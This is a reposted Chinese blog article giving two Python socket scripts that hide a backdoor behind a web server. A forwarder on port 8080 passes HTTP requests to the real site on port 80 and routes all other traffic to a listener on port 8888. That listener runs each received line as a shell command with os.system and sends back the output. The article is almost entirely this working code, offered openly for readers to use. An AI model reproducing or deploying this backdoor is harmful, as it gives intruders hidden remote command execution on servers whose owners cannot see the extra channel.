iis服务器助手广告广告
返回顶部
首页 > 资讯 > 后端开发 > Python >python基于socket进行端口转发
  • 869
分享到

python基于socket进行端口转发

端口pythonsocket 2023-01-31 05:01:24 869人浏览 安东尼

Python 官方文档:入门教程 => 点击学习

摘要

分享一个大神的人工智能教程。零基础!通俗易懂!风趣幽默!还带黄段子!希望你也加入到人工智能的队伍中来!Http://www.captainbed.net/xiaohei python基于Socket进行端口转发实现后门隐藏 思想:

分享一个大神的人工智能教程。零基础!通俗易懂!风趣幽默!还带黄段子!希望你也加入到人工智能的队伍中来!Http://www.captainbed.net/xiaohei

python基于Socket进行端口转发实现后门隐藏

思想:

用户正常浏览器访问请求通过8080端口,请求若为http请求,则正常转发到80端口保证网站正常运行。否则转发到8888端口执行系统命令。

8888端口监听代码:

#!/usr/bin/env Python
from socket import *
import os

HOST='127.0.0.1'
PORT=8888
BUFSIZE=1024
ADDR=(HOST,PORT)

tcpSerSock = socket(AF_INET,SOCK_STREAM)
tcpSerSock.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)
tcpSerSock.bind(ADDR)
tcpSerSock.listen(5)

while True:
    print("waiting for connection...")
    tcpCliSock,addr = tcpSerSock.accept()
    print("...connected from:",addr)
    
    while True:
        data=tcpCliSock.recv(BUFSIZE)
        if not data:
            break
        info = data.split('\n')
        command = info[0]
        try:
            os.system(command + " > command.txt");
            file = open('command.txt')
            data =""
            for line in file:
                data=data+line;
            tcpCliSock.send(data)
        except Exception:
            tcpCliSock.send("Nothing to do")

    tcpCliSock.close()
tcpSerSock.close()

8080端口转发代码:

#!/usr/bin/python
from socket import *

tcp1 = socket(AF_INET,SOCK_STREAM)

tcp1.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)

tcp1.bind(('0.0.0.0',8080))
tcp1.listen(10)

BUFFER_SIZE=2048
tcpCliSock,addr = tcp1.accept()
while True:
    data = tcpCliSock.recv(BUFFER_SIZE)
    if 'HTTP' in data:
        tcp3 = socket(AF_INET,SOCK_STREAM)
        tcp3.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)
        tcp3.connect(('127.0.0.1',80))
        tcp3.send(data)
        htmlinfo = tcp3.recv(2048)
        if not htmlinfo:
            tcp3.close()
        else:
            tcpCliSock.send(htmlinfo)
    else:
        tcp2 = socket(AF_INET,SOCK_STREAM)
        tcp2.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)
        tcp2.connect(('127.0.0.1',8888))
        data = data.replace("\n"," ")
        print data
        tcp2.send(data)
        commandinfo = tcp2.recv(1024)
        tcpCliSock.send(commandinfo)
        tcp2.close()
tcpCliSock.close()
tcp1.close()

有些地方还有些小问题等待修正,但是linux下是可以完美运行的。欢迎学习交流。

--结束END--

本文标题: python基于socket进行端口转发

本文链接: https://www.lsjlt.com/news/188857.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
  • python基于socket进行端口转发
    分享一个大神的人工智能教程。零基础!通俗易懂!风趣幽默!还带黄段子!希望你也加入到人工智能的队伍中来!http://www.captainbed.net/xiaohei python基于socket进行端口转发实现后门隐藏 思想:...
    99+
    2023-01-31
    端口 python socket
  • nginx进行端口转发的实现
    目录使用场景解决方案使用场景 1、内网有一台服务器的端口需要映射到外网(举例外网的服务器申请了一个域名,然后给该域名做了一个nignx的配置,然后配置中需要访问一个内网的http的服...
    99+
    2023-03-07
    nginx 端口转发
  • nginx进行端口转发怎么实现
    本篇内容介绍了“nginx进行端口转发怎么实现”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!使用场景内网有一台服务器的端口需要映射到外网(举...
    99+
    2023-07-05
  • 如何用autossh工具进行端口转发
    这期内容当中小编将会给大家带来有关如何用autossh工具进行端口转发,文章内容丰富且以专业的角度为大家分析和叙述,阅读完这篇文章希望大家可以有所收获。AutoSSH 是一种用以对 SSH 登录进行安全地自动化的软件。比如我们在 host2...
    99+
    2023-06-15
  • python基于并发与socket实现远
    FTP程序 Client: * bin/start.py 程序入口 * conf/配置文件存放 * core/ * auth.py 登陆,注册以及上传下载查看当前文件夹下文件以及删除功能存放 * cline.py 与服务端...
    99+
    2023-01-30
    python socket
  • Python基于socket实现TCP客户端和服务端
    目录一、基于socket实现的TCP客户端二、基于socket实现的TCP服务端三、socket实现的多任务版TCP服务端1、面向对象版本一、基于socket实现的TCP客户端 im...
    99+
    2024-04-02
  • Python基于socket怎么实现TCP客户端和服务端
    这篇文章主要讲解了“Python基于socket怎么实现TCP客户端和服务端”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“Python基于socket怎么实现TCP客户端和服务端”吧!一、基...
    99+
    2023-06-30
  • Python asyncore socket客户端开发基本使用教程
    目录介绍1.定义类并且继承 asyncore.dispatcher2.实现类中的回调代码调用父类方法创建 socket 对象连接服务器3.创建对象并且执行 asyncore.loop...
    99+
    2022-12-26
    Python asyncore socket使用 Python asyncore socket Python asyncore 
  • Python利用socket实现多进程的端口扫描器
    作为开发人员经常需要查看服务的端口开启状态判断服务是否宕机。 特别是部署的服务比较多的情况下,可能存在几个甚至几十个服务端口的占用,于是我利用socket不断向服务发送请求的方式来判...
    99+
    2022-12-08
    Python socket多进程端口扫描 Python socket 端口扫描 Python 端口扫描
  • 如何进行基于Python+Django+Jquery架构的Web开发
    这期内容当中小编将会给大家带来有关如何进行基于Python+Django+Jquery架构的Web开发,文章内容丰富且以专业的角度为大家分析和叙述,阅读完这篇文章希望大家可以有所收获。    近来,公司要开发一个自动化运...
    99+
    2023-06-02
  • Python中的端口协议之基于UDP协议
    UDP协议:   1、python中基于udp协议的客户端与服务端通信简单过程实现   2、udp协议的一些特点(与tcp协议的比较)        3、利用socketserver模块实现udp传输协议的并发通信 -----------...
    99+
    2023-01-31
    协议 端口 Python
  • python利用socket实现客户端和服务端之间进行通信
    目录一、socketsocket通信的条件:IP和端口形象比喻二、客户端实现过程三、服务器实现过程四、演示五、实现持续通信过程前言: 今天教大家通过Python进行Socket网络编...
    99+
    2024-04-02
  • 网络端口的转发和重定向(Python)
    【任务】    需要将某个网络端口转发到另一个主机(forwarding),但可能会是不同的端口(redirecting)。【解决方案】    两个使用threading和socket模块的类就能完成我们需要的端口转发和重定向。#encod...
    99+
    2023-01-31
    端口 重定向 网络
  • 基于Python进行年龄和性别检测
    目录前言年龄和性别检测简介入门:人脸检测的 Python 代码:性别检测的 Python 代码:用于年龄检测的 Python 代码:前言 在本文中,我将使用 Python 编程语言带...
    99+
    2024-04-02
  • Python基于LightGBM进行时间序列预测
    目录前言特征代码结果前言 当我们考虑时间序列的增强树时,通常会想到 M5 比赛,其中前十名中有很大一部分使用了 LightGBM。但是当在单变量情况下使用增强树时,由于没有大量的外生...
    99+
    2024-04-02
  • 基于python开发的股市行情看板
    个人博客: https://mypython.me 近期股市又骚动起来,回忆起昔日炒股经历,历历在目,悲惨经历让人黯然神伤,去年共投入4000元入市,最后仅剩1000多,无奈闭关修炼,忘记股市,全身心投入代码世界,享受代码带来的乐趣。近日...
    99+
    2023-01-30
    股市行情 看板 python
  • 基于Python制作一个多进制转换工具
    目录前言主要步骤完整代码前言 学习资料下载链接 提取码:9d4g  进制转换计算工具含源文件 主要步骤 导入模块 import tkinter from tki...
    99+
    2024-04-02
  • 关于python基础数据类型bytes进制转换
    目录1. bytes字节串类型介绍:2. 二进制、十进制、十六进制之间的转换:2.1 二进制转十进制:2.2 二进制转十六进制:2.3 十进制转二进制:2.4 十进制转十六进制:2....
    99+
    2023-05-19
    python bytes python 数据类型 bytes进制转换
  • 基于Python编写一个简单的端口扫描器
    目录1、需要的库2、获取一个 host 地址3、循环所有的端口4、完整脚本端口扫描是非常实用的,不止用在信息安全方面,日常的运维也用得到。这方面的工具也不要太多,搞过 CTF 的朋友...
    99+
    2024-04-02
  • 如何根据接口开发web端进行app抓包
    本篇文章为大家展示了如何根据接口开发web端进行app抓包,内容简明扼要并且容易理解,绝对能使你眼前一亮,通过这篇文章的详细介绍希望你能有所收获。平时喜欢看某个做视频的app,最近app有bug,看着看着就...
    99+
    2024-04-02
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作